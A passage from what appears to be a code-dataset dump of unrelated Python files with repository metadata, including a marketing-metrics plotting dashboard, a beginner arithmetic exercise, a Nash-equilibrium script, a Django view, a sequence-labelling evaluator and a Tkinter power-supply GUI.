df_by_date_combined['CPS_YoY_abs_conditional'] = df_by_date_combined['CPS YoY (Abs)'] = (df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LY'])
df_by_date_combined['CPS_PoP_percent_conditional'] = df_by_date_combined['CPS YoY (%)'] = ((df_by_date_combined['CPS - TY'] - df_by_date_combined['CPS - LY'])/df_by_date_combined['CPS - LY']) * 100
df_by_date_combined['CVR - TY'] = np.where(((df_by_date_combined['Bookings - TY'] != 0) & (df_by_date_combined['Sessions - TY'] != 0)), \
(df_by_date_combined['Bookings - TY']/df_by_date_combined['Sessions - TY'] * 100), df_by_date_combined['CVR - TY'])
df_by_date_combined['CVR - LP'] = np.where(((df_by_date_combined['Bookings - LP'] != 0) & (df_by_date_combined['Sessions - LP'] != 0)), \
(df_by_date_combined['Bookings - LP']/df_by_date_combined['Sessions - LP'] * 100), df_by_date_combined['CVR - LP'])
df_by_date_combined['CVR_PoP_abs_conditional'] = df_by_date_combined['CVR PoP (Abs)'] = np.where((df_by_date_combined['CVR - TY'].notnull() & df_by_date_combined['CVR - LP'].notnull()), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LP'])), df_by_date_combined['CVR PoP (Abs)'])
df_by_date_combined['CVR_PoP_percent_conditional'] = df_by_date_combined['CVR PoP (%)'] = ((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LP'])/df_by_date_combined['CVR - LP']) * 100
df_by_date_combined['CVR - LY'] = np.where(((df_by_date_combined['Bookings - LY'] != 0) & (df_by_date_combined['Sessions - LY'] != 0)), \
(df_by_date_combined['Bookings - LY']/df_by_date_combined['Sessions - LY'] * 100), df_by_date_combined['CVR - LY'])
df_by_date_combined['CVR_YoY_abs_conditional'] = df_by_date_combined['CVR YoY (Abs)'] = np.where((df_by_date_combined['CVR - TY'].notnull() & df_by_date_combined['CVR - LY'].notnull()), \
((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LY'])), df_by_date_combined['CVR YoY (Abs)'])
df_by_date_combined['CVR_YoY_percent_conditional'] = df_by_date_combined['CVR YoY (%)'] = ((df_by_date_combined['CVR - TY'] - df_by_date_combined['CVR - LY'])/df_by_date_combined['CVR - LY'] * 100)
df_by_date_combined['CPA - TY'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Bookings - TY'] != 0), \
(df_by_date_combined['Spend TY']/df_by_date_combined['Bookings - TY']), df_by_date_combined['CPA - TY'])
df_by_date_combined['CPA - LP'] = np.where((df_by_date_combined['Spend - LP'] != 0) & (df_by_date_combined['Bookings - LP'] != 0), \
(df_by_date_combined['Spend - LP']/df_by_date_combined['Bookings - LP']), df_by_date_combined['CPA - LP'])
df_by_date_combined['CPA_PoP_abs_conditional'] = df_by_date_combined['CPA PoP (Abs)'] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LP'] != 0), \
(df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LP']), df_by_date_combined['CPA PoP (Abs)'])
df_by_date_combined['CPA_PoP_percent_conditional'] = df_by_date_combined['CPA PoP (%)' ] = ((df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LP'])/df_by_date_combined['CPA - LP'] * 100)
df_by_date_combined['CPA - LY'] = np.where((df_by_date_combined['Spend LY'] != 0) & (df_by_date_combined['Bookings - LY'] != 0), \
(df_by_date_combined['Spend LY']/df_by_date_combined['Bookings - LY']), df_by_date_combined['CPA - LY'])
df_by_date_combined['CPA_YoY_abs_conditional'] = df_by_date_combined['CPA YoY (Abs)'] = np.where((df_by_date_combined['CPA - TY'] != 0) & (df_by_date_combined['CPA - LY'] != 0), \
(df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LY']), df_by_date_combined['CPA YoY (Abs)'])
df_by_date_combined['CPA_YoY_percent_conditional'] = df_by_date_combined['CPA YoY (%)'] = (df_by_date_combined['CPA - TY'] - df_by_date_combined['CPA - LY'])/df_by_date_combined['CPA - LY'] * 100
df_by_date_combined['CPS_PoP_abs_conditional'] = df_by_date_combined['CPS PoP (Abs)']
#### REMEMBER FORMATTING MUST BE DONE AFTER MAKING CALCULATIONS
df_by_date_combined['CPS - TY'] = np.where((df_by_date_combined['CPS - TY'].notnull()), \
df_by_date_combined['CPS - TY'].apply(formatter_currency_with_cents), df_by_date_combined['CPS - TY'])
df_by_date_combined['CPS - LP'] = np.where((df_by_date_combined['CPS - LP'].notnull()), \
df_by_date_combined['CPS - LP'].apply(formatter_currency_with_cents), df_by_date_combined['CPS - LP'])
df_by_date_combined['CPS - LY'] = np.where((df_by_date_combined['CPS - LY'].notnull()), \
df_by_date_combined['CPS - LY'].apply(formatter_currency_with_cents), df_by_date_combined['CPS - LY'])
df_by_date_combined['CPS PoP (Abs)'] = np.where((df_by_date_combined['CPS PoP (Abs)'].notnull()), \
df_by_date_combined['CPS PoP (Abs)'].apply(formatter_currency_with_cents), df_by_date_combined['CPS PoP (Abs)'])
df_by_date_combined['CPS YoY (Abs)'] = np.where((df_by_date_combined['CPS YoY (Abs)'].notnull()), \
df_by_date_combined['CPS YoY (Abs)'].apply(formatter_currency_with_cents), df_by_date_combined['CPS YoY (Abs)'])
df_by_date_combined['CPA - TY'] = np.where((df_by_date_combined['CPA - TY'].notnull()), \
df_by_date_combined['CPA - TY'].apply(formatter_currency_with_cents), df_by_date_combined['CPA - TY'])
df_by_date_combined['CPA - LP'] = np.where((df_by_date_combined['CPA - LP'].notnull()), \
df_by_date_combined['CPA - LP'].apply(formatter_currency_with_cents), df_by_date_combined['CPA - LP'])
df_by_date_combined['CPA - LY'] = np.where((df_by_date_combined['CPA - LY'].notnull()), \
df_by_date_combined['CPA - LY'].apply(formatter_currency_with_cents), df_by_date_combined['CPA - LY'])
df_by_date_combined['CPA PoP (Abs)'] = np.where((df_by_date_combined['CPA PoP (Abs)'].notnull()), \
df_by_date_combined['CPA PoP (Abs)'].apply(formatter_currency_with_cents), df_by_date_combined['CPA PoP (Abs)'])
df_by_date_combined['CPA YoY (Abs)'] = np.where((df_by_date_combined['CPA YoY (Abs)'].notnull()), \
df_by_date_combined['CPA YoY (Abs)'].apply(formatter_currency_with_cents), df_by_date_combined['CPA YoY (Abs)'])
df_by_date_combined['CPA PoP (%)'] = np.where((df_by_date_combined['CPA PoP (%)'].notnull()), \
df_by_date_combined['CPA PoP (%)'].apply(formatter_percent), df_by_date_combined['CPA PoP (%)'])
df_by_date_combined['CPA YoY (%)'] = np.where((df_by_date_combined['CPA YoY (%)'].notnull()), \
df_by_date_combined['CPA YoY (%)'].apply(formatter_percent), df_by_date_combined['CPA YoY (%)'])
df_by_date_combined['CPS PoP (%)'] = np.where((df_by_date_combined['CPS PoP (%)'].notnull()), \
df_by_date_combined['CPS PoP (%)'].apply(formatter_percent), df_by_date_combined['CPS PoP (%)'])
df_by_date_combined['CPS YoY (%)'] = np.where((df_by_date_combined['CPS YoY (%)'].notnull()), \
df_by_date_combined['CPS YoY (%)'].apply(formatter_percent), df_by_date_combined['CPS YoY (%)'])
df_by_date_combined['CVR PoP (%)'] = np.where((df_by_date_combined['CVR PoP (%)'].notnull()), \
df_by_date_combined['CVR PoP (%)'].apply(formatter_percent), df_by_date_combined['CVR PoP (%)'])
df_by_date_combined['CVR YoY (%)'] = np.where((df_by_date_combined['CVR YoY (%)'].notnull()), \
df_by_date_combined['CVR YoY (%)'].apply(formatter_percent), df_by_date_combined['CVR YoY (%)'])
df_by_date_combined['CVR - TY'] = np.where((df_by_date_combined['CVR - TY'].notnull()), \
df_by_date_combined['CVR - TY'].apply(formatter_percent_2_digits), df_by_date_combined['CVR - TY'])
df_by_date_combined['CVR - LP'] = np.where((df_by_date_combined['CVR - LP'].notnull()), \
df_by_date_combined['CVR - LP'].apply(formatter_percent_2_digits), df_by_date_combined['CVR - LP'])
df_by_date_combined['CVR - LY'] = np.where((df_by_date_combined['CVR - LY'].notnull()), \
df_by_date_combined['CVR - LY'].apply(formatter_percent_2_digits), df_by_date_combined['CVR - LY'])
df_by_date_combined['CVR PoP (Abs)'] = np.where((df_by_date_combined['CVR PoP (Abs)'].notnull()), \
df_by_date_combined['CVR PoP (Abs)'].apply(formatter_percent_2_digits), df_by_date_combined['CVR PoP (Abs)'])
df_by_date_combined['CVR YoY (Abs)'] = np.where((df_by_date_combined['CVR YoY (Abs)'].notnull()), \
df_by_date_combined['CVR YoY (Abs)'].apply(formatter_percent_2_digits), df_by_date_combined['CVR YoY (Abs)'])
# Rearrange the columns
df_by_date_combined = df_by_date_combined[[
'Placement type',
'CPS - TY',
'CPS - LP', 'CPS PoP (Abs)', 'CPS PoP (%)',
'CPS - LY', 'CPS YoY (Abs)', 'CPS YoY (%)',
'CVR - TY',
'CVR - LP', 'CVR PoP (Abs)', 'CVR PoP (%)',
'CVR - LY', 'CVR YoY (Abs)', 'CVR YoY (%)',
'CPA - TY',
'CPA - LP', 'CPA PoP (Abs)', 'CPA PoP (%)',
'CPA - LY', 'CPA YoY (Abs)', 'CPA YoY (%)',
'CPS_PoP_abs_conditional', 'CPS_PoP_percent_conditional', 'CPS_YoY_abs_conditional', 'CPS_PoP_percent_conditional',
'CVR_PoP_abs_conditional', 'CVR_PoP_percent_conditional', 'CVR_YoY_abs_conditional', 'CVR_YoY_percent_conditional',
'CPA_PoP_abs_conditional', 'CPA_PoP_percent_conditional', 'CPA_YoY_abs_conditional', 'CPA_YoY_percent_conditional'
]]
data_df = df_by_date_combined.to_dict("rows")
return data_df
######################## FOR GRAPHS ########################
def update_graph(filtered_df, end_date):
if end_date is not None:
end_date = dt.strptime(end_date, '%Y-%m-%d')
end_date_string = end_date.strftime('%Y-%m-%d')
if end_date_string <= '2018-12-29':
current_year = 2018
else:
current_year = 2019
# Calulate YoY Differences
filtered_df['Spend YoY (%)'] = ((filtered_df['Spend TY'] - filtered_df['Spend LY'])/filtered_df['Spend LY']) * 100
filtered_df['Sessions YoY (%)'] = ((filtered_df['Sessions - TY'] - filtered_df['Sessions - LY'])/filtered_df['Sessions - LY']) * 100
filtered_df['Bookings - % - PY'] = ((filtered_df['Bookings - TY'] - filtered_df['Bookings - LY'])/filtered_df['Bookings - LY']) * 100
filtered_df['Revenue - % - PY'] = ((filtered_df['Revenue - TY'] - filtered_df['Revenue - LY'])/filtered_df['Revenue - LY']) * 100
# Calculate CPS, CR, CPA
filtered_df['CPS - TY'] = np.nan
filtered_df['CPS - LY'] = np.nan
filtered_df['% YoY_CPS'] = np.nan
filtered_df['CVR - TY'] = np.nan
filtered_df['CVR - LY'] = np.nan
filtered_df['CVR YoY (Abs)'] = np.nan
filtered_df['CPA - TY'] = np.nan
filtered_df['CPA - LY'] = np.nan
filtered_df['% YoY_CPA'] = np.nan
filtered_df['CPS - TY'] = np.where((filtered_df['Spend TY'] != 0) & (filtered_df['Sessions - TY'] != 0), (filtered_df['Spend TY']/filtered_df['Sessions - TY']), filtered_df['CPS - TY'])
filtered_df['CPS - LY'] = np.where((filtered_df['Spend LY'] != 0) & (filtered_df['Sessions - LY'] != 0), (filtered_df['Spend LY']/filtered_df['Sessions - LY']), filtered_df['CPS - LY'])
filtered_df['% YoY_CPS'] = np.where((filtered_df['CPS - TY'] != 0) & (filtered_df['CPS - LY'] != 0), ((filtered_df['CPS - TY'] - filtered_df['CPS - LY'])/filtered_df['CPS - LY']), filtered_df['% YoY_CPS'])
filtered_df['CVR - TY'] = np.where(((filtered_df['Bookings - TY'] != 0) & (filtered_df['Sessions - TY'] != 0)), (filtered_df['Bookings - TY']/filtered_df['Sessions - TY'] * 100), filtered_df['CVR - TY'])
filtered_df['CVR - LY'] = np.where(((filtered_df['Bookings - LY'] != 0) & (filtered_df['Sessions - LY'] != 0)), (filtered_df['Bookings - LY']/filtered_df['Sessions - LY'] * 100), filtered_df['CVR - LY'])
filtered_df['CVR YoY (Abs)'] = np.where((filtered_df['CVR - TY'].notnull() & filtered_df['CVR - LY'].notnull()), ((filtered_df['CVR - TY'] - filtered_df['CVR - LY'])), filtered_df['CVR YoY (Abs)'])
filtered_df['CPA - TY'] = np.where((filtered_df['Spend TY'] != 0) & (filtered_df['Bookings - TY'] != 0), (filtered_df['Spend TY']/filtered_df['Bookings - TY']), filtered_df['CPA - TY'])
filtered_df['CPA - LY'] = np.where((filtered_df['Spend LY'] != 0) & (filtered_df['Bookings - LY'] != 0), (filtered_df['Spend LY']/filtered_df['Bookings - LY']), filtered_df['CPA - LY'])
filtered_df['% YoY_CPA'] = np.where((filtered_df['CPA - TY'] != 0) & (filtered_df['CPA - LY'] != 0), ((filtered_df['CPA - TY'] - filtered_df['CPA - LY'])/filtered_df['CPA - LY']) * 100, filtered_df['% YoY_CPA'])
# Sessions Graphs
sessions_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Sessions - TY'],
text='Sessions - TY'
)
sessions_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['Sessions - TY'],
text='Sessions - LY'
)
sessions_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Sessions YoY (%)'],
text='Sessions YoY (%)', opacity=0.6
)
# Spend Graphs
spend_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Spend TY'],
text='Spend TY'
)
spend_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['Spend TY'],
text='Spend LY'
)
spend_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Spend YoY (%)'],
text='Spend YoY (%)', opacity=0.6
)
# Bookings Graphs
bookings_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Bookings - TY'],
text='Bookings - TY'
)
bookings_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['Bookings - TY'],
text='Bookings - LY'
)
bookings_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['Bookings - % - PY'],
text='Bookings - % - PY', opacity=0.6
)
cpa_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['CPA - TY'],
text='CPA - TY'
)
cpa_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['CPA - TY'],
text='CPA - LY'
)
cpa_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['% YoY_CPA'],
text='% CPA - YoY', opacity=0.6
)
cps_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['CPS - TY'],
text='CPS - TY'
)
cps_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['CPS - TY'],
text='CPS - LY'
)
cps_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['% YoY_CPS'],
text='% CPS - YoY', opacity=0.6
)
cr_ty = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['CVR - TY'],
text='CVR - TY'
)
cr_ly = go.Scatter(
x=filtered_df[(filtered_df['Year'] == current_year-1)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year-1)]['CVR - TY'],
text='CVR - LY'
)
cr_yoy = go.Bar(
x=filtered_df[(filtered_df['Year'] == current_year)]['Week'],
y=filtered_df[(filtered_df['Year'] == current_year)]['CVR YoY (Abs)'],
text='CVR YoY (Abs)', opacity=0.6
)
fig = tools.make_subplots(
rows=6,
cols=1,
shared_xaxes=True,
subplot_titles=( # Be sure to have same number of titles as number of graphs
'Sessions',
'Spend',
'Bookings',
'Cost per Acquisition',
'CPS',
'Conversion Rate'
))
fig.append_trace(sessions_ty, 1, 1) # 0
fig.append_trace(sessions_ly, 1, 1) # 1
fig.append_trace(sessions_yoy, 1, 1) # 2
fig.append_trace(spend_ty, 2, 1) # 3
fig.append_trace(spend_ly, 2, 1) # 4
fig.append_trace(spend_yoy, 2, 1) # 5
fig.append_trace(bookings_ty, 3, 1) # 6
fig.append_trace(bookings_ly, 3, 1) # 7
fig.append_trace(bookings_yoy, 3, 1) # 8
fig.append_trace(cpa_ty, 4, 1) # 9
fig.append_trace(cpa_ly, 4, 1) # 10
fig.append_trace(cpa_yoy, 4, 1) # 11
fig.append_trace(cps_ty, 5, 1) # 12
fig.append_trace(cps_ly, 5, 1) # 13
fig.append_trace(cps_yoy, 5, 1) # 14
fig.append_trace(cr_ty, 6, 1) # 15
fig.append_trace(cr_ly, 6, 1) # 16
fig.append_trace(cr_yoy, 6, 1) # 17
# integer index below is the index of the trace
# yaxis indices below need to start from the number of total graphs + 1 since they are on right-side
# overlaing and anchor axes correspond to the graph number
fig['data'][2].update(yaxis='y7')
fig['layout']['yaxis7'] = dict(overlaying='y1', anchor='x1', side='right', showgrid=False, title='% Change YoY')
fig['data'][5].update(yaxis='y8')
fig['layout']['yaxis8'] = dict(overlaying='y2', anchor='x2', side='right', showgrid=False, title='% Change YoY')
fig['data'][8].update(yaxis='y9')
fig['layout']['yaxis9'] = dict(overlaying='y3', anchor='x3', side='right', showgrid=False, title='% Change YoY')
fig['data'][11].update(yaxis='y10')
fig['layout']['yaxis10'] = dict(overlaying='y4', anchor='x4', side='right', showgrid=False, title='% Change YoY')
fig['data'][14].update(yaxis='y11')
fig['layout']['yaxis11'] = dict(overlaying='y5', anchor='x5', side='right', showgrid=False, title='% Change YoY')
fig['data'][17].update(yaxis='y12')
fig['layout']['yaxis12'] = dict(overlaying='y6', anchor='x6', side='right', showgrid=False, title='% Change YoY')
fig['layout']['xaxis'].update(title='Week of the Year' + ' - ' + str(current_year))
for i in fig['layout']['annotations']:
i['font'] = dict(size=12,
# color='#ff0000'
)
fig['layout'].update(
height= 1500,
# width=750,
showlegend=False,
xaxis=dict(
# tickmode='linear',
# ticks='outside',
# tick0=1,
dtick=5,
ticklen=8,
tickwidth=2,
tickcolor='#000',
showgrid=True,
zeroline=True,
# showline=True,
# mirror='ticks',
# gridcolor='#bdbdbd',
gridwidth=2
),
)
updated_fig = fig
return updated_fig
| [
"davidmichaelcomfort@gmail.com"
] | davidmichaelcomfort@gmail.com |
d2f11112aa4444d315a9fefdaf4f9e4b969216af | eef3e9c180b4103d21ed3be5a0509d20e61db4ea | /ex21.py | b4af835600e5415f75efc5d0c2bc3fcecb1bc922 | [] | no_license | timkao/historical-python | 2bf7408e3de674b8eae66c4ebf1de729932a90aa | 689b61d4669c7dbf2179389147e5423268b7e708 | refs/heads/master | 2021-01-19T09:08:03.042740 | 2017-04-09T17:25:52 | 2017-04-09T17:25:52 | 87,725,661 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 689 | py | def add(a, b):
print "Adding %d and %d" % (a, b)
return a + b
def substract(a, b):
print "Substracting %d and %d." % (a, b)
return a - b
def multiply(a, b):
print "Multiplying %d and %d." % (a, b)
return a * b
def divide(a, b):
print "Dividing %d / %d." % (a, b)
return a / b
print "Let's do some math with just functions."
age = add(30, 5)
height = substract(78, 4)
weight = multiply(90, 2)
iq = divide(100, 2)
print "Age: %d, Height: %d, Weight: %d, iq: %d." % (age, height, weight, iq)
print "Here is a puzzle."
what = add(age, substract(height, multiply(weight, divide(iq, 2))))
print "That becomes", what, "Can you do it by hand?"
| [
"pakuya.kao@gmail.com"
] | pakuya.kao@gmail.com |
f86d33a76b9e67bcea189aaa32c97afad80a6b31 | 8c17782ca72b88d37f820a3e225ee94fb64619e0 | /entryPoint.py | a36b3b385eaeecb8aed4503fe85a9e563fa7e46c | [] | no_license | ibrabon/EquilibriumNash | 45fe684e68eaf41a15c8865579f5276a6178187f | 5c235a7183a80a51b5515c4905e19b3959c38b1c | refs/heads/master | 2021-01-21T14:09:01.471140 | 2016-06-20T21:14:23 | 2016-06-20T21:14:23 | 57,928,235 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 894 | py | from datetime import datetime
import nash
import util
ClientInput = util.fromFileToMap(util.parse().filePath)
GovernmentPayoffs = ['Government',
('L', 'L', 0),
('L', 'H', -1),
('H', 'L', 0.5),
('H', 'H', -0.5)]
PublicPayoffs = ['Public',
('L', 'L', 0),
('L', 'H', -1),
('H', 'L', -1),
('H', 'H', 0)]
nash.calculate_nash(GovernmentPayoffs, PublicPayoffs)
time = datetime.timestamp(datetime.now())
stop = int(util.parse().iterations)
mat = [[0] * stop for i in range(2)]
for i in range(0, stop):
game = nash.time_scales_game(ClientInput, GovernmentPayoffs, PublicPayoffs)
for j in range(0, 2):
mat[j][i] = game[j]
util.create_all_stats(mat[0], 'Government', time)
util.create_all_stats(mat[1], 'Public', time)
print(" ")
| [
"alexikaev@gmail.com"
] | alexikaev@gmail.com |
b38abaf92c7d1f91be93c4ef67efb856b99cfd37 | a0c60ddc96fb2ee56a697a8b830b59f755b56c71 | /apps/pages/views/pages_view.py | 744b32d334f48795483bc50e49cd6fccd23c2618 | [
"MIT"
] | permissive | SLCPython/coalio | 392dc4145afffa1590770b868ec1d9efb051408f | ced77d2cec491bab4e33af019c2ca724b1a2bdda | refs/heads/master | 2021-01-22T03:13:00.626796 | 2014-02-06T00:26:28 | 2014-02-06T00:26:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 420 | py | #encoding: utf-8
from django.shortcuts import render
from pages.models import Page
def view_pages(request):
template_name = "pages/list.html"
ctx = {}
ctx['pages'] = Page.objects.all()
return render(request, template_name, ctx)
def view_page(request, slug):
template_name = "pages/page.html"
ctx = {}
ctx['page'] = Page.objects.get(slug=slug)
return render(request, template_name, ctx) | [
"mikeliu639@gmail.com"
] | mikeliu639@gmail.com |
1238222396bb2e84cf3f2afd3712af594fd5d4d3 | 13ba85e446bdb31d25a8f2233907dc5d57b578e4 | /evaluation.py | 33ae5368e69c8ab208f484af0803945439a92723 | [] | no_license | Weile-Chen/Risk-factor-labeling-in-Chinese-medical-record-text | 953b21e2fd189db96687e03e86c9e8449bf5cbc5 | f3bccdd24f2a14079ed56621f41a144b4de3d95b | refs/heads/master | 2022-02-25T12:05:44.265349 | 2019-10-13T15:10:54 | 2019-10-13T15:10:54 | 214,834,778 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 779 | py | from utils.conlleval import evaluate
import pickle
class evaluation():
def __init__(self,label_dict_path):
self.y_pred = []
self.y_true = []
with open(label_dict_path, 'rb') as f:
self.label_dict = pickle.load(f)
def add(self, y_pred_, batch_y_ture):
self.y_pred += y_pred_
self.y_true += batch_y_ture.numpy().tolist()
def evaluate(self):
# 压平到一维
self.y_pred = sum(self.y_pred,[])
self.y_true = sum(self.y_true, [])
print(self.y_true)
# 转换对应的label
self.y_pred = [self.label_dict[int(i)] for i in self.y_pred]
self.y_true = [self.label_dict[int(i)] for i in self.y_true]
return evaluate(self.y_true, self.y_pred, verbose=False) | [
"gegemachen@gmail.com"
] | gegemachen@gmail.com |
6b0459789eb1d9aadd13f4c00c7c8f9357d43cd5 | ff900167e5b36301ee89beb2fb56f4c0c47a12a4 | /PowerSupplyProgram/Version 1/JCcodegraphics.py | f800ef0a8d9349b72c257b95cdffe6f06b7d7b71 | [] | no_license | ademola-adekunle/Programming | aeaf8eccc70773214e83107f0bdd5f60500990d3 | d6608fb8b51651ba6278806b07903074a611b81e | refs/heads/master | 2023-01-15T09:45:36.396726 | 2020-07-17T16:45:18 | 2020-07-17T16:45:18 | 280,471,304 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,667 | py | import matplotlib
matplotlib.use ("TkAgg")
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
from matplotlib.figure import Figure
import matplotlib.animation as animation
import Tkinter
from Tkinter import *
import tkMessageBox
import datetime
import os
import random
import time #use time.time() as eqivalent of tic and toc in matlab; time.sleep(1) as equivalent of pause
import numpy as np #for mathematical calculations
# from scipy.integrate import simps #for mathematical calculations
from numpy import trapz #for mathematical calculations
import threading
import ConfigParser
from ConfigParser import SafeConfigParser
#----------------------------------------------------------------------------------------------------------------------------------
# DEFINE VALUES/IMPORT INI FILE
parser=SafeConfigParser()
#parser.read ("/home/pi/Documents/OnlineBiosensor/Configuration/biosensorconfig.ini") #location of biosensor configuration/parameters
tolerance=0.0005 #value to change
ylimit=5
y2limit=5
coundowntimer=60
ps1value=0
ps2value=0
global ps1v
class simpleapp_tk(Tkinter.Tk):
def __init__(self,parent):
Tkinter.Tk.__init__(self,parent)
self.parent=parent
self.initialize()
#self.geometry('500x450')
self.configure(background='lightgray')
def initialize(self): #initialize GUI
self.grid() #Initialize GRID
#----------------------------------------------------------------------------------------------------------------------------------
# MAIN SCREEN
#---------------------------------------------------------
#BUTTONS & LABELS
#POWER SUPPLY SETTINGS
settings_button =Tkinter.Button(self,text=u"SETTINGS",
command=self.OnSettingsClick,font=("Helvetica", 16)) #button entry
settings_button.grid(column=2,row=10,sticky='EW') #button entry location
#COUNTDOWNTIMERLABEL
self.countdowntimerlabelvariable = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
countdown_label = Tkinter.Label(self,textvariable=self.countdowntimerlabelvariable,
anchor="w",fg="brown",bg="lightgray",font=("Helvetica", 14))
countdown_label.grid(column=0,row=1,sticky='E', pady=10) #label position
self.countdowntimerlabelvariable.set(b"Countdown to next reading:") #default value in display
#COUNTDOWN DISPLAY
self.countdowntimerdisplayvariable = Tkinter.StringVar() #variable to call label
global countdowntime
countdowntime = self.countdowntimerdisplayvariable
countdowntime_label = Tkinter.Label(self,textvariable=self.countdowntimerdisplayvariable,
anchor="w",fg="black",bg="lightgray", width=6, font=("Helvetica", 16))
countdowntime_label.grid(column = 1,row = 1,sticky = 'NESW') #label position
self.countdowntimerdisplayvariable.set(str(coundowntimer)) #default value in display
#PS1V LABEL
self.ps1vlabelvariable = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
ps1v_label = Tkinter.Label(self,textvariable=self.ps1vlabelvariable,
anchor="w",fg="black",bg="lightgray",font=("Arial", 14))
ps1v_label.grid(column=0,row=2,sticky='NESW') #label position
self.ps1vlabelvariable.set(b"PS1 applied voltage:") #default value in display
#PS1V DISPLAY
self.ps1vdisplayvariable = Tkinter.StringVar() #variable to call label
global ps1v
ps1v = self.ps1vdisplayvariable
ps1v_label = Tkinter.Label(self,textvariable=self.ps1vdisplayvariable,
anchor="w",fg="black",bg="lightgray", width=6,font=("Helvetica", 16))
ps1v_label.grid(column=1,row=2,sticky='W') #label position
self.ps1vdisplayvariable.set(str(ps1value)) #default value in display
#PS2V LABEL
self.ps2vlabelvariable = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
ps2v_label = Tkinter.Label(self,textvariable=self.ps2vlabelvariable,
anchor="w",fg="black",bg="lightgray",font=("Arial", 14))
ps2v_label.grid(column=3,row=2,sticky='EW',) #label position
self.ps2vlabelvariable.set(b"PS2 applied voltage:") #default value in display
#PS2V DISPLAY
self.ps2vdisplayvariable = Tkinter.StringVar() #variable to call label
global ps2v
ps2v = self.ps1vdisplayvariable
ps2v_label = Tkinter.Label(self,textvariable=self.ps2vdisplayvariable,
anchor="w",fg="black",bg="lightgray", width=6,font=("Helvetica", 16))
ps2v_label.grid(column=4,row=2,sticky='EW',padx=5) #label position
self.ps2vdisplayvariable.set(str(ps2value)) #default value in display
#PS1C LABEL
self.ps1clabelvariable = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
ps1c_label = Tkinter.Label(self,textvariable=self.ps1clabelvariable,
anchor="w",fg="black",bg="lightgray",font=("Arial", 14))
ps1c_label.grid(column=0,row=3,sticky='NESW') #label position
self.ps1clabelvariable.set(b"PS1 measured current:") #default value in display
#PS1V DISPLAY
self.ps1cdisplayvariable = Tkinter.StringVar() #variable to call label
global ps1c
ps1c = self.ps1vdisplayvariable
ps1c_label = Tkinter.Label(self,textvariable=self.ps1cdisplayvariable,
anchor="w",fg="black",bg="lightgray", width=6,font=("Helvetica", 16))
ps1c_label.grid(column=1,row=3,sticky='W') #label position
self.ps1cdisplayvariable.set(str(ps1value)) #default value in display
#PS2C LABEL
self.ps2clabelvariable = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
ps2c_label = Tkinter.Label(self,textvariable=self.ps2clabelvariable,
anchor="w",fg="black",bg="lightgray",font=("Arial", 14))
ps2c_label.grid(column=3,row=3,sticky='EW') #label position
self.ps2clabelvariable.set(b"PS2 measured current:") #default value in display
#PS2C DISPLAY
self.ps2cdisplayvariable = Tkinter.StringVar() #variable to call label
global ps2c
ps2c = self.ps1cdisplayvariable
ps2c_label = Tkinter.Label(self,textvariable=self.ps2cdisplayvariable,
anchor="w",fg="black",bg="lightgray", width=6,font=("Helvetica", 16))
ps2c_label.grid(column=4,row=3,sticky='EW') #label position
self.ps2cdisplayvariable.set(str(ps2value)) #default value in display
#---------------------------------------------------------
#GRAPHS
global f
global f2
f = Figure(figsize=(3,3), dpi=90, tight_layout=True)
